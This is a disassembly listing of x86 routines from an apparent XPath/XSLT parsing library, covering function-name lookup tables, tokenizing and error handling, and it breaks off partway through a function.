sub_69B5EBFB	proc near		; CODE XREF: sub_69B5F3B7+2Ep
					; sub_69B5FD60+53p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	5Bh
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[esp+8+arg_4]
		mov	eax, [esi]
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	5Dh
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		dec	dword ptr [esi+48h]
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B5EBFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EC3F	proc near		; CODE XREF: sub_69B5F498+11Ap
					; sub_69B5F498+168p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+1Ch]
		jmp	short loc_69B5EC8E
; ---------------------------------------------------------------------------


loc_69B5EC4D:				; CODE XREF: sub_69B5EC3F+3Cj
					; sub_69B5EC3F+53j
		push	[esp+0Ch+arg_C]
		mov	eax, [esi]
		push	[esp+10h+arg_8]
		mov	edi, [esi+1Ch]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [ebx]
		push	eax
		call	sub_69B8A35C
		cmp	dword ptr [esi+20h], 2Ch
		jnz	short loc_69B5EC8E
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	dword ptr [esi+20h], 29h
		mov	edi, [esi+1Ch]
		jnz	short loc_69B5EC4D
		push	0
		push	0
		push	edi
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B5EC8E:				; CODE XREF: sub_69B5EC3F+Cj
					; sub_69B5EC3F+2Cj
		cmp	dword ptr [esi+20h], 29h
		jnz	short loc_69B5EC4D
		mov	eax, [ebx]
		mov	ecx, [esp+0Ch+arg_0]
		cmp	ecx, [eax+0Ch]
		jle	short loc_69B5ECB0
		push	0
		push	0
		push	edi
		push	0C00CE60Ah
		mov	ecx, esi
		call	sub_69B62488


loc_69B5ECB0:				; CODE XREF: sub_69B5EC3F+5Ej
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_69B5EC3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5ECB6	proc near		; CODE XREF: sub_69B5F498+1D1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+44h]
		push	28h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 0FFFFFFA3h
		jz	short loc_69B5ECF7
		cmp	ecx, 0FFFFFFA4h
		jz	short loc_69B5ECEE
		cmp	ecx, 0FFFFFFA5h
		jnz	short loc_69B5ECFE
		mov	[ebp+arg_0], 5
		jmp	short loc_69B5ECFE
; ---------------------------------------------------------------------------


loc_69B5ECEE:				; CODE XREF: sub_69B5ECB6+28j
		mov	[ebp+arg_0], 1
		jmp	short loc_69B5ECFE
; ---------------------------------------------------------------------------


loc_69B5ECF7:				; CODE XREF: sub_69B5ECB6+23j
		mov	[ebp+arg_0], 3


loc_69B5ECFE:				; CODE XREF: sub_69B5ECB6+2Dj
					; sub_69B5ECB6+36j ...
		mov	eax, [esi+1Ch]
		xor	edi, edi
		cmp	dword ptr [esi+20h], 29h
		mov	[ebp+var_4], eax
		jnz	short loc_69B5ED3F
		cmp	ecx, 0FFFFFFA4h
		jnz	short loc_69B5ED20
		push	edi
		push	edi
		push	eax
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B5ED20:				; CODE XREF: sub_69B5ECB6+59j
		push	[ebp+arg_0]
		push	edi
		call	sub_69B6589E
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		jmp	short loc_69B5ED7B
; ---------------------------------------------------------------------------


loc_69B5ED3F:				; CODE XREF: sub_69B5ECB6+54j
		mov	eax, [esi]
		push	ebx
		push	edi
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_69B5ED60
		push	edi
		push	edi
		push	[ebp+var_4]
		mov	ecx, esi
		push	0C00CE38Dh
		call	sub_69B62488


loc_69B5ED60:				; CODE XREF: sub_69B5ECB6+97j
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_0]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+40h]
		pop	ebx


loc_69B5ED7B:				; CODE XREF: sub_69B5ECB6+87j
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B5ECB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ED81	proc near		; CODE XREF: sub_69B6048B+1Ep
		push	esi
		mov	esi, ecx
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_69B5EDB0
		cmp	dword_69B9B620,	eax
		jz	short loc_69B5ED9C
		mov	dword ptr [esi+20h], 0FFFFFF9Dh
		jmp	short loc_69B5EDD7
; ---------------------------------------------------------------------------


loc_69B5ED9C:				; CODE XREF: sub_69B5ED81+10j
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	eax, [eax+8]
		mov	ecx, [esi+1Ch]
		lea	ecx, [ecx+eax*2+2]
		jmp	short loc_69B5EDB3
; ---------------------------------------------------------------------------


loc_69B5EDB0:				; CODE XREF: sub_69B5ED81+8j
		mov	ecx, [esi+1Ch]


loc_69B5EDB3:				; CODE XREF: sub_69B5ED81+2Dj
		mov	eax, [esi+18h]
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		push	eax
		push	ecx
		push	1Ch
		push	offset off_69B5EDE0
		call	sub_69B63D0A
		test	eax, eax
		jnz	short loc_69B5EDD1
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B5EDD1:				; CODE XREF: sub_69B5ED81+4Aj
		mov	eax, [eax+4]
		mov	[esi+20h], eax


loc_69B5EDD7:				; CODE XREF: sub_69B5ED81+19j
		mov	al, 1
		pop	esi
		retn
sub_69B5ED81	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B5EDE0	dd offset aBoolean	; DATA XREF: sub_69B5ED81+3Eo
					; "boolean"
		dd 0FFFFFFA4h
		dd offset aConcat	; "concat"
		dd 0FFFFFF98h
		dd offset aContains	; "contains"
		dd 0FFFFFF96h
		dd offset aCount	; "count"
		dd 0FFFFFFAAh
		dd offset aCurrent	; "current"
		dd 0FFFFFF9Fh
		dd offset aElementAvailab ; "element-available"
		dd 0FFFFFF9Ch
		dd offset aFalse	; "false"
		dd 0FFFFFFA1h
		dd offset aFormatNumber	; "format-number"
		dd 0FFFFFF9Ah
		dd offset aFormatnumber	; "formatNumber"
		dd 0FFFFFF99h
		dd offset aFunctionAvaila ; "function-available"
		dd 0FFFFFF9Bh
		dd offset aId		; "id"
		dd 0FFFFFFC6h
		dd offset aLast		; "last"
		dd 0FFFFFFACh
		dd offset aLocalName	; "local-name"
		dd 0FFFFFFA8h
		dd offset aName		; "name"
		dd 0FFFFFFA6h
		dd offset aNamespaceUri	; "namespace-uri"
		dd 0FFFFFFA7h
		dd offset aNormalizeSpace ; "normalize-space"
		dd 0FFFFFF91h
		dd offset aNot_0	; "not"
		dd 0FFFFFFA0h
		dd offset aNumber	; "number"
		dd 0FFFFFFA3h
		dd offset aPosition	; "position"
		dd 0FFFFFFABh
		dd offset aStartsWith	; "starts-with"
		dd 0FFFFFF97h
		dd offset aString	; "string"
		dd 0FFFFFFA5h
		dd offset aStringLength	; "string-length"
		dd 0FFFFFF92h
		dd offset aSubstring	; "substring"
		dd 0FFFFFF93h
		dd offset aSubstringAfter ; "substring-after"
		dd 0FFFFFF94h
		dd offset aSubstringBefor ; "substring-before"
		dd 0FFFFFF95h
		dd offset aSystemProperty ; "system-property"
		dd 0FFFFFF9Eh
		dd offset aTranslate	; "translate"
		db 90h
		db 3 dup(0FFh)
		dd offset aTrue		; "true"
		dd 0FFFFFFA2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5EEC0	proc near		; CODE XREF: sub_69B49F3F+56p
					; sub_69B5FFCF+2Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_69B2FB5A
		mov	edi, eax
		xor	ebx, ebx
		cmp	[edi], bx
		jz	loc_69B5EFA7
		xor	eax, eax
		cmp	[ebp+arg_C], al
		push	ebx
		setz	al
		lea	ecx, [ebp+var_8]
		inc	eax
		push	eax
		call	sub_69B5EBCF
		cmp	word ptr [edi],	40h
		mov	ecx, [ebp+arg_4]
		setz	al
		test	al, al
		mov	[ecx], al
		jz	short loc_69B5EF04
		inc	edi
		inc	edi


loc_69B5EF04:				; CODE XREF: sub_69B5EEC0+40j
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		mov	[ebp+arg_0], ebx
		call	sub_69B31F54
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	sub_69B2FB5A
		cmp	[eax], bx
		jnz	short loc_69B5EF9E
		cmp	esi, edi
		jz	short loc_69B5EF9E
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B5EF4A
		push	[ebp+arg_0]
		push	edi
		call	sub_69B2FAC8
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		lea	eax, [edi+eax*2+2]
		sub	esi, eax
		sar	esi, 1
		push	esi
		push	eax
		call	sub_69B2FAC8
		mov	esi, eax
		jmp	short loc_69B5EF68
; ---------------------------------------------------------------------------


loc_69B5EF4A:				; CODE XREF: sub_69B5EEC0+67j
		sub	esi, edi
		sar	esi, 1
		push	esi
		push	edi
		call	sub_69B2FAC8
		mov	esi, eax
		mov	eax, dword_69B95A6C
		cmp	esi, eax
		jnz	short loc_69B5EF68
		mov	esi, dword_69B95A18
		mov	ebx, eax


loc_69B5EF68:				; CODE XREF: sub_69B5EEC0+88j
					; sub_69B5EEC0+9Ej
		cmp	[ebp+arg_C], 0
		jz	short loc_69B5EF84
		test	ebx, ebx
		jz	short loc_69B5EF84
		push	ebx
		call	sub_69B4D2B6
		test	eax, eax
		jnz	short loc_69B5EF80
		xor	al, al
		jmp	short loc_69B5EF93
; ---------------------------------------------------------------------------


loc_69B5EF80:				; CODE XREF: sub_69B5EEC0+BAj
		xor	ebx, ebx
		jmp	short loc_69B5EF86
; ---------------------------------------------------------------------------


loc_69B5EF84:				; CODE XREF: sub_69B5EEC0+ACj
					; sub_69B5EEC0+B0j
		xor	eax, eax


loc_69B5EF86:				; CODE XREF: sub_69B5EEC0+C2j
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], ebx
		mov	[ecx+8], esi
		mov	al, 1


loc_69B5EF93:				; CODE XREF: sub_69B5EEC0+BEj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+1Ch], edx
		jmp	short loc_69B5EFA9
; ---------------------------------------------------------------------------


loc_69B5EF9E:				; CODE XREF: sub_69B5EEC0+5Ej
					; sub_69B5EEC0+62j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+1Ch], ecx


loc_69B5EFA7:				; CODE XREF: sub_69B5EEC0+19j
		xor	al, al


loc_69B5EFA9:				; CODE XREF: sub_69B5EEC0+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B5EEC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EFB0	proc near		; CODE XREF: sub_69B5F0A3+3p
					; sub_69B5F0BE+17p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B12B30
		mov	dword ptr [esi+8], offset off_69B294EC
		call	sub_69B2C65C
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B5EFB0	endp

; ---------------------------------------------------------------------------


loc_69B5EFFA:				; DATA XREF: .text:off_69B294ECo
		sub	dword ptr [esp+4], 8
		jmp	loc_69B60B40

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F004	proc near		; CODE XREF: sub_69B5F092+5j
					; DATA XREF: .text:69B12B34o ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B5F01E
		mov	eax, 80004005h
		jmp	short loc_69B5F046
; ---------------------------------------------------------------------------


loc_69B5F01E:				; CODE XREF: sub_69B5F004+11j
		push	edi
		push	0
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [ebp+arg_0]
		call	sub_69B17355
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B5F046:				; CODE XREF: sub_69B5F004+18j
		pop	esi
		leave
		retn	4
sub_69B5F004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F04B	proc near		; CODE XREF: sub_69B5F09C+5j
					; DATA XREF: .text:69B12B38o ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B5F065
		mov	eax, 80004005h
		jmp	short loc_69B5F08D
; ---------------------------------------------------------------------------


loc_69B5F065:				; CODE XREF: sub_69B5F04B+11j
		push	edi
		push	0
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [ebp+arg_0]
		call	sub_69B183BB
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B5F08D:				; CODE XREF: sub_69B5F04B+18j
		pop	esi
		leave
		retn	4
sub_69B5F04B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5F092	proc near		; DATA XREF: .text:69B294F0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 8
		jmp	sub_69B5F004
sub_69B5F092	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5F09C	proc near		; DATA XREF: .text:69B294F4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 8
		jmp	short sub_69B5F04B
sub_69B5F09C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5F0A3	proc near		; DATA XREF: .text:69B12B3Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B5EFB0
		test	[esp+4+arg_0], 1
		jz	short loc_69B5F0B8
		push	esi
		call	sub_69B1829F


loc_69B5F0B8:				; CODE XREF: sub_69B5F0A3+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5F0A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5F0BE	proc near		; DATA XREF: .text:69B12B84o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B12B78
		mov	dword ptr [esi+8], offset off_69B294EC
		call	sub_69B2C65C
		mov	ecx, esi
		call	sub_69B5EFB0
		test	[esp+4+arg_0], 1
		jz	short loc_69B5F0E7
		push	esi
		call	sub_69B1829F


loc_69B5F0E7:				; CODE XREF: sub_69B5F0BE+21j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5F0BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B5FB10


loc_69B5F0ED:				; CODE XREF: sub_69B5FB10+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B625BC
		push	[esp+4+arg_0]
		and	dword ptr [esi+50h], 0
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B12B78
		mov	dword ptr [esi+8], offset off_69B294EC
		call	sub_69B6227E
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B5FB10

; =============== S U B	R O U T	I N E =======================================



sub_69B5F117	proc near		; DATA XREF: .text:69B12BACo
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+58h], 0
		pop	esi
		retn
sub_69B5F117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F12B	proc near		; DATA XREF: .text:69B12BB0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		push	[ebp+arg_4]
		mov	ebx, eax
		mov	eax, [ebx+1Ch]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	dword ptr [ebx+1Ch], 1
		mov	[esi+54h], eax
		lea	eax, [esi+34h]
		push	eax
		mov	[ebp+var_4], ebx
		call	sub_69B17320
		mov	eax, [ebp+arg_C]
		mov	[esi+58h], eax
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		cmp	eax, edi
		mov	[esi+48h], edi
		jnz	short loc_69B5F18B
		cmp	[esi+0Eh], di
		jz	loc_69B5F22D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+1Ch]


loc_69B5F18B:				; CODE XREF: sub_69B5F12B+4Aj
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_69B5EBA5
		test	eax, eax
		jz	loc_69B5F21D
		mov	eax, [esi]
		mov	ebx, [esi+1Ch]
		push	edi
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [esi+54h]
		mov	[ebp+arg_8], eax
		mov	eax, ecx
		and	eax, 0Eh
		dec	eax
		dec	eax
		jz	short loc_69B5F1E7
		dec	eax
		dec	eax
		mov	ecx, esi
		jz	short loc_69B5F1D2
		sub	eax, 4
		jz	short loc_69B5F1CA
		push	ebx
		call	sub_69B6240B
		jmp	short loc_69B5F227
; ---------------------------------------------------------------------------


loc_69B5F1CA:				; CODE XREF: sub_69B5F12B+95j
		push	edi
		call	sub_69B5EB78
		jmp	short loc_69B5F227
; ---------------------------------------------------------------------------


loc_69B5F1D2:				; CODE XREF: sub_69B5F12B+90j
		push	edi
		call	sub_69B5EB78
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_69B62F36
		jmp	short loc_69B5F227
; ---------------------------------------------------------------------------


loc_69B5F1E7:				; CODE XREF: sub_69B5F12B+8Aj
		test	cl, 1
		jz	short loc_69B5F202
		mov	eax, [esi+20h]
		cmp	eax, 7Ch
		jz	short loc_69B5F20A
		cmp	eax, edi
		jz	short loc_69B5F20A
		push	edi
		mov	ecx, esi
		call	sub_69B629F7
		jmp	short loc_69B5F20A
; ---------------------------------------------------------------------------


loc_69B5F202:				; CODE XREF: sub_69B5F12B+BFj
		push	edi
		mov	ecx, esi
		call	sub_69B5EB78


loc_69B5F20A:				; CODE XREF: sub_69B5F12B+C7j
					; sub_69B5F12B+CBj ...
		push	edi
		push	86h
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_69B6296C
		jmp	short loc_69B5F227
; ---------------------------------------------------------------------------


loc_69B5F21D:				; CODE XREF: sub_69B5F12B+6Bj
		push	80070057h
		call	sub_69B2E8B8


loc_69B5F227:				; CODE XREF: sub_69B5F12B+9Dj
					; sub_69B5F12B+A5j ...
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+var_4]


loc_69B5F22D:				; CODE XREF: sub_69B5F12B+50j
		mov	eax, [ebp+var_8]
		mov	[ebx+1Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B5F12B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F23C	proc near		; DATA XREF: .text:69B12BB4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	dwTlsIndex
		mov	esi, ecx
		mov	[ebp+var_4], edi
		call	dword_69B92970
		mov	ecx, [eax+1Ch]
		push	[ebp+arg_4]
		mov	dword ptr [eax+1Ch], 1
		and	dword ptr [esi+54h], 0
		mov	[ebp+var_C], eax
		lea	eax, [esi+34h]
		push	eax
		mov	[ebp+var_10], ecx
		call	sub_69B17320
		mov	eax, [ebp+arg_8]
		mov	[esi+58h], eax
		mov	bx, [edi]
		test	bx, bx
		jz	loc_69B5F36D


loc_69B5F28F:				; CODE XREF: sub_69B5F23C+11Dj
		cmp	bx, 7Bh
		jz	short loc_69B5F29F
		cmp	bx, 7Dh
		jnz	loc_69B5F351


loc_69B5F29F:				; CODE XREF: sub_69B5F23C+57j
		cmp	edi, [ebp+var_4]
		jbe	short loc_69B5F2D4
		mov	eax, edi
		sub	eax, [ebp+var_4]
		sar	eax, 1
		push	eax
		push	[ebp+var_4]
		call	sub_69B190C1
		push	eax
		call	sub_69B65631
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[ebp+var_8]
		call	sub_69B5EAA0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edi


loc_69B5F2D4:				; CODE XREF: sub_69B5F23C+66j
		inc	edi
		inc	edi
		cmp	[edi], bx
		jnz	short loc_69B5F2E1
		add	[ebp+var_4], 2
		jmp	short loc_69B5F351
; ---------------------------------------------------------------------------


loc_69B5F2E1:				; CODE XREF: sub_69B5F23C+9Dj
		cmp	bx, 7Bh
		mov	ecx, esi
		jnz	short loc_69B5F322
		push	0
		push	edi
		call	sub_69B5EBA5
		mov	eax, [ebp+arg_0]
		push	0
		mov	[esi+10h], eax
		mov	eax, [esi]
		push	0
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	eax
		push	[ebp+var_8]
		call	sub_69B5EAA0
		push	7Dh
		mov	ecx, esi
		mov	[ebp+var_8], eax
		call	sub_69B5EB78
		mov	edi, [esi+1Ch]
		lea	eax, [edi+2]
		mov	[ebp+var_4], eax
		jmp	short loc_69B5F351
; ---------------------------------------------------------------------------


loc_69B5F322:				; CODE XREF: sub_69B5F23C+ABj
		push	[ebp+arg_0]
		lea	eax, [edi-2]
		push	edi
		push	eax
		push	0
		push	7Dh
		call	sub_69B61B61
		push	eax
		push	0C00CE381h
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		call	sub_69B61BB4
		push	eax
		mov	ecx, esi
		call	sub_69B61B50


loc_69B5F351:				; CODE XREF: sub_69B5F23C+5Dj
					; sub_69B5F23C+A3j ...
		inc	edi
		inc	edi
		mov	bx, [edi]
		test	bx, bx
		jnz	loc_69B5F28F
		cmp	[ebp+var_8], 0
		mov	eax, [ebp+var_4]
		jnz	short loc_69B5F371
		cmp	eax, [ebp+arg_0]
		jnz	short loc_69B5F371


loc_69B5F36D:				; CODE XREF: sub_69B5F23C+4Dj
		xor	eax, eax
		jmp	short loc_69B5F3A7
; ---------------------------------------------------------------------------


loc_69B5F371:				; CODE XREF: sub_69B5F23C+12Aj
					; sub_69B5F23C+12Fj
		cmp	edi, eax
		jbe	short loc_69B5F39D
		sub	edi, eax
		sar	edi, 1
		push	edi
		push	eax
		call	sub_69B190C1
		push	eax
		call	sub_69B65631
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[ebp+var_8]
		call	sub_69B5EAA0
		mov	[ebp+var_8], eax


loc_69B5F39D:				; CODE XREF: sub_69B5F23C+137j
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		push	5
		call	dword ptr [eax+40h]


loc_69B5F3A7:				; CODE XREF: sub_69B5F23C+133j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	[edx+1Ch], ecx
		pop	ebx
		leave
		retn	0Ch
sub_69B5F23C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F3B7	proc near		; CODE XREF: sub_69B5FEEC+D4p
					; sub_69B60160+5Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	0
		push	0
		mov	esi, ecx
		push	dword ptr [esi+1Ch]
		push	[ebp+arg_4]
		call	sub_69B62F36
		cmp	dword ptr [esi+20h], 5Bh
		mov	ebx, eax
		mov	[ebp+var_4], ebx
		jnz	loc_69B5F48B
		push	edi


loc_69B5F3DF:				; CODE XREF: sub_69B5F3B7+CDj
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		call	sub_69B5EBFB
		mov	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	[ebp+var_8], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		mov	[ebp+arg_4], eax
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		jz	short loc_69B5F462
		cmp	[ebp+var_8], eax
		jz	short loc_69B5F412
		test	byte ptr [ebp+arg_4+1],	2
		jnz	short loc_69B5F462


loc_69B5F412:				; CODE XREF: sub_69B5F3B7+53j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+8Ch]
		test	byte ptr [ebp+arg_4+1],	1
		jnz	short loc_69B5F43D
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	ebx
		call	sub_69B664E8
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebx, ecx


loc_69B5F43D:				; CODE XREF: sub_69B5F3B7+6Bj
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	[ebp+arg_8]
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B65FCF
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebx, ecx
		mov	[ebp+var_4], ebx
		jmp	short loc_69B5F480
; ---------------------------------------------------------------------------


loc_69B5F462:				; CODE XREF: sub_69B5F3B7+4Ej
					; sub_69B5F3B7+59j
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		push	ecx
		push	[ebp+arg_8]
		push	edi
		push	eax
		push	ebx
		call	sub_69B65FCF
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	ebx, ecx


loc_69B5F480:				; CODE XREF: sub_69B5F3B7+A9j
		cmp	dword ptr [esi+20h], 5Bh
		jz	loc_69B5F3DF
		pop	edi


loc_69B5F48B:				; CODE XREF: sub_69B5F3B7+21j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+5Ch]
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B5F3B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F498	proc near		; CODE XREF: sub_69B5FD60+18p

var_18		= qword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFA2h
		mov	edi, [esi+1Ch]
		jg	loc_69B5F620
		jz	loc_69B5F614
		cmp	eax, 0FFFFFF98h
		jz	loc_69B5F5D8
		cmp	eax, 0FFFFFF9Dh
		jz	loc_69B5F566
		cmp	eax, 0FFFFFFA0h
		jz	short loc_69B5F517
		cmp	eax, 0FFFFFFA1h
		jnz	loc_69B5F640
		push	0
		push	offset off_69B296E0


loc_69B5F4E2:				; CODE XREF: sub_69B5F498+183j
		call	sub_69B65669
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
